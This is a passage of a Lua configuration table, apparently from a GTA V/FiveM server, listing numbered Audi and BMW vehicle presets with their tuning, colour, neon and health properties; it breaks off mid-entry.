  224. {name = 'Audi R8 2020', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = -0.079999998211861,["bodyHealth"] = 1000.0,["modFrontBumper"] = 1,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { } ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 134,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = 0,["color2"] = 28,["modSpeakers"] = -1,["fuelLevel"] = 60.0,["modArchCover"] = -1,["wheels"] = 7,["dirtLevel"] = 7.3,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = 3,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = 0,["modRightFender"] = 1,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = 0,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 4,["modTransmission"] = 2,["plateIndex"] = 4,["modShifterLeavers"] = -1,["wheelColor"] = 12,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = -1,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = -143695728,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = 3,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = -1,}},
  225. {name = 'Audi R8 V10', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -1183566390,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.070000000298023,["dirtLevel"] = 6.4,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 0,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 89,["wheels"] = 7,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 2,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 89,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = 1,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = 1,}},
  226. {name = 'Audi RS3', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = -0.050000004470348,["bodyHealth"] = 1000.0,["modFrontBumper"] = 4,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { } ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 12,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = 0,["color2"] = 27,["modSpeakers"] = -1,["fuelLevel"] = 60.0,["modArchCover"] = -1,["wheels"] = 0,["dirtLevel"] = 10.3,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = -1,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = -1,["modRightFender"] = -1,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = -1,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 3,["modTransmission"] = 2,["plateIndex"] = 4,["modShifterLeavers"] = -1,["wheelColor"] = 27,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = -1,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = -1029368191,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = 2,}},
  227. {name = 'Audi RS3 2018', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = -0.029999995604157,["bodyHealth"] = 1000.0,["modFrontBumper"] = 0,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { ["6"] = true,} ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 134,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = 2,["color2"] = 12,["modSpeakers"] = -1,["fuelLevel"] = 60.0,["modArchCover"] = -1,["wheels"] = 0,["dirtLevel"] = 9.3,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = -1,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = 0,["modRightFender"] = -1,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = 1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = 2,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 4,["modTransmission"] = 2,["plateIndex"] = 1,["modShifterLeavers"] = -1,["wheelColor"] = 28,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = -1,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = 216350205,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = 0,}},
  228. {name = 'Audi RS4 Avant', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -2019421579,["extras"] = { ["3"] = true,} ,["modTurbo"] = 1,["suspensionRaise"] = -0.029999999329448,["dirtLevel"] = 10.1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = 1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 0,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 12,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 4,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = 0,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = 2,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = 3,}},
  229. {name = 'Audi RS5 2014', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = -1362824500,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.03999999538064,["dirtLevel"] = 4.1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = 0,["modHood"] = 2,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = 2,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = -1,["modFrame"] = 1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 29,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 2,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 23,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 27,["modEngineBlock"] = -1,["modRearBumper"] = 1,["modVanityPlate"] = -1,["modFrontBumper"] = 2,}},
  230. {name = 'Audi RS6', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = -1379807831,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.03999999910593,["dirtLevel"] = 4.2,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = 1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 0,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 28,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 2,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = 0,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = 1,["modVanityPlate"] = -1,["modFrontBumper"] = 2,}},
  231. {name = 'Audi RS7 2016', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = -1071770374,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.03999999910593,["dirtLevel"] = 8.2,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 28,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 0,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = 0,}},
  232. {name = 'Audi RSQ7 2016', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = 0.0,["bodyHealth"] = 1000.0,["modFrontBumper"] = 0,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { ["1"] = true,["4"] = false,["3"] = false,} ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 12,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = -1,["color2"] = 3,["modSpeakers"] = -1,["fuelLevel"] = 65.0,["modArchCover"] = -1,["wheels"] = 3,["dirtLevel"] = 4.5,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = 0,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = 0,["modRightFender"] = 0,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = 0,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 3,["modTransmission"] = 2,["plateIndex"] = 1,["modShifterLeavers"] = -1,["wheelColor"] = 1,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = 0,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = 119794591,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = -1,}},
  233.  
  234. {name = 'BMW 850 CSi', props = { ["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.019999999552965,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 2.0,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 444286472,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 28,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 112,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 0,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 4,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
  235. {name = 'BMW M3 F80', props = {["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["fuelLevel"] = 60.0,["suspensionRaise"] = -0.03999999538064,["modLivery"] = -1,["modWindows"] = -1,["modDashboard"] = -1,["bodyHealth"] = 1000.0,["windowTint"] = -1,["xenonColor"] = 255,["wheels"] = 0,["color1"] = 12,["modOrnaments"] = -1,["modXenon"] = 1,["modTrimB"] = -1,["modSeats"] = -1,["modAerials"] = 0,["modArchCover"] = 2,["modStruts"] = -1,["modArmor"] = 4,["modTransmission"] = 2,["extras"] = { ["2"] = false,["1"] = false,} ,["pearlescentColor"] = 12,["modSideSkirt"] = 0,["modTrunk"] = -1,["modAirFilter"] = -1,["modFrontWheels"] = -1,["modVanityPlate"] = 1,["modHydrolic"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modBackWheels"] = -1,["modSteeringWheel"] = -1,["modSpeakers"] = -1,["modSpoilers"] = 0,["modExhaust"] = 0,["modAPlate"] = -1,["color2"] = 28,["modDial"] = -1,["modRoof"] = 1,["modPlateHolder"] = 0,["modTank"] = -1,["modTrimA"] = -1,["modEngineBlock"] = 0,["modEngine"] = 3,["plateIndex"] = 1,["modRearBumper"] = 2,["modDoorSpeaker"] = -1,["modSmokeEnabled"] = 1,["modGrille"] = 1,["modTurbo"] = 1,["dirtLevel"] = 8.4,["modSuspension"] = 3,["modHorns"] = -1,["modHood"] = 1,["modBrakes"] = 2,["model"] = -580610645,["modShifterLeavers"] = -1,["modFender"] = -1,["wheelColor"] = 0,["modRightFender"] = -1,["engineHealth"] = 1000.0,["modFrame"] = 0,["modFrontBumper"] = 2,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,}}},
  236. {name = 'BMW M4 F82', props = {["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["fuelLevel"] = 60.0,["suspensionRaise"] = -0.049999997019768,["modLivery"] = 0,["modWindows"] = -1,["modDashboard"] = -1,["bodyHealth"] = 1000.0,["windowTint"] = 1,["xenonColor"] = 255,["wheels"] = 0,["color1"] = 134,["modOrnaments"] = -1,["modXenon"] = 1,["modTrimB"] = -1,["modSeats"] = -1,["modAerials"] = -1,["modArchCover"] = -1,["modStruts"] = -1,["modArmor"] = 4,["modTransmission"] = 3,["extras"] = { } ,["pearlescentColor"] = 134,["modSideSkirt"] = -1,["modTrunk"] = -1,["modAirFilter"] = -1,["modFrontWheels"] = -1,["modVanityPlate"] = -1,["modHydrolic"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modBackWheels"] = -1,["modSteeringWheel"] = -1,["modSpeakers"] = -1,["modSpoilers"] = 0,["modExhaust"] = 0,["modAPlate"] = -1,["color2"] = 111,["modDial"] = -1,["modRoof"] = -1,["modPlateHolder"] = -1,["modTank"] = -1,["modTrimA"] = -1,["modEngineBlock"] = -1,["modEngine"] = 3,["plateIndex"] = 1,["modRearBumper"] = 1,["modDoorSpeaker"] = -1,["modSmokeEnabled"] = 1,["modGrille"] = -1,["modTurbo"] = 1,["dirtLevel"] = 3.3,["modSuspension"] = 3,["modHorns"] = -1,["modHood"] = 0,["modBrakes"] = 3,["model"] = 909765281,["modShifterLeavers"] = -1,["modFender"] = -1,["wheelColor"] = 156,["modRightFender"] = -1,["engineHealth"] = 1000.0,["modFrame"] = -1,["modFrontBumper"] = 0,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,}}},
  237. {name = 'BMW M5 E60', props = { ["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 0,["suspensionRaise"] = -0.0099999997764826,["fuelLevel"] = 60.0,["modLivery"] = 2,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 9.0,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = 0,["model"] = 1969115674,["modAPlate"] = -1,["modHood"] = -1,["wheelColor"] = 134,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["12"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 134,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = 0,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = 3,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 0,["color2"] = 0,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = -1,["modAerials"] = 0,}},
  238. {name = 'BMW M5 F90', props = {["suspensionRaise"] = -0.059999998658895,["modSpoilers"] = 6,["modShifterLeavers"] = -1,["modTank"] = -1,["modXenon"] = 1,["modBackWheels"] = -1,["windowTint"] = 1,["modWindows"] = -1,["modRearBumper"] = 1,["modDashboard"] = -1,["color1"] = 134,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modArchCover"] = -1,["modStruts"] = -1,["modAerials"] = -1,["modEngineBlock"] = -1,["modHydrolic"] = -1,["extras"] = { ["1"] = true,} ,["modSeats"] = -1,["modTrunk"] = -1,["modFender"] = -1,["model"] = 1093697054,["engineHealth"] = 1000.0,["modDial"] = -1,["color2"] = 2,["dirtLevel"] = 8.2,["modSpeakers"] = -1,["modAPlate"] = -1,["modDoorSpeaker"] = -1,["modSuspension"] = 3,["modSteeringWheel"] = -1,["modBrakes"] = 2,["pearlescentColor"] = 12,["modHorns"] = -1,["fuelLevel"] = 60.0,["modFrontBumper"] = 3,["modOrnaments"] = -1,["modGrille"] = 1,["modAirFilter"] = -1,["modRightFender"] = -1,["modPlateHolder"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modExhaust"] = 0,["modTrimA"] = -1,["modVanityPlate"] = -1,["modFrame"] = -1,["modTrimB"] = -1,["xenonColor"] = 255,["modSmokeEnabled"] = 1,["wheelColor"] = 89,["modArmor"] = 4,["modTransmission"] = 2,["bodyHealth"] = 1000.0,["modFrontWheels"] = -1,["modHood"] = 2,["modSideSkirt"] = 1,["modRoof"] = 0,["modLivery"] = -1,["modTurbo"] = 1,["wheels"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modEngine"] = 3,["plateIndex"] = 1,}},
  239. {name = 'BMW M6 F13', props = {["modHydrolic"] = -1,["modFender"] = -1,["modLivery"] = -1,["modFrontBumper"] = -1,["windowTint"] = 1,["modTrimB"] = -1,["modAerials"] = -1,["wheelColor"] = 156,["fuelLevel"] = 59.9,["modTrimA"] = -1,["pearlescentColor"] = 12,["modVanityPlate"] = -1,["modFrame"] = -1,["suspensionRaise"] = -0.079999998211861,["modRearBumper"] = -1,["wheels"] = 0,["modEngine"] = 3,["modDoorSpeaker"] = -1,["modShifterLeavers"] = -1,["modAPlate"] = -1,["modSteeringWheel"] = -1,["modSeats"] = -1,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modTurbo"] = 1,["dirtLevel"] = 3.9,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modBrakes"] = 2,["modRightFender"] = -1,["modBackWheels"] = -1,["modExhaust"] = -1,["model"] = 1897898727,["color2"] = 8,["modArchCover"] = -1,["xenonColor"] = 255,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modPlateHolder"] = -1,["modOrnaments"] = -1,["modFrontWheels"] = -1,["modXenon"] = 1,["extras"] = { ["1"] = false,["2"] = false,} ,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["color1"] = 12,["modSpoilers"] = -1,["modArmor"] = 4,["modSuspension"] = 3,["modHorns"] = -1,["bodyHealth"] = 1000.0,["modTank"] = -1,["modSpeakers"] = -1,["modTrunk"] = -1,["modGrille"] = -1,["modEngineBlock"] = -1,["modSideSkirt"] = -1,["modWindows"] = -1,["plateIndex"] = 1,["modTransmission"] = 2,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modHood"] = -1,["modStruts"] = -1,}},
  240. {name = 'BMW M8', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = -1,["suspensionRaise"] = 0.0049999998882413,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 3.6,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -1404319008,["modAPlate"] = -1,["modHood"] = -1,["wheelColor"] = 28,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["10"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = 3,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = -1,["modAerials"] = -1,}},
  241. {name = 'BMW X6M', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 0,["suspensionRaise"] = -0.12999999523163,["fuelLevel"] = 60.0,["modLivery"] = 1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 3.6,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -506359117,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] 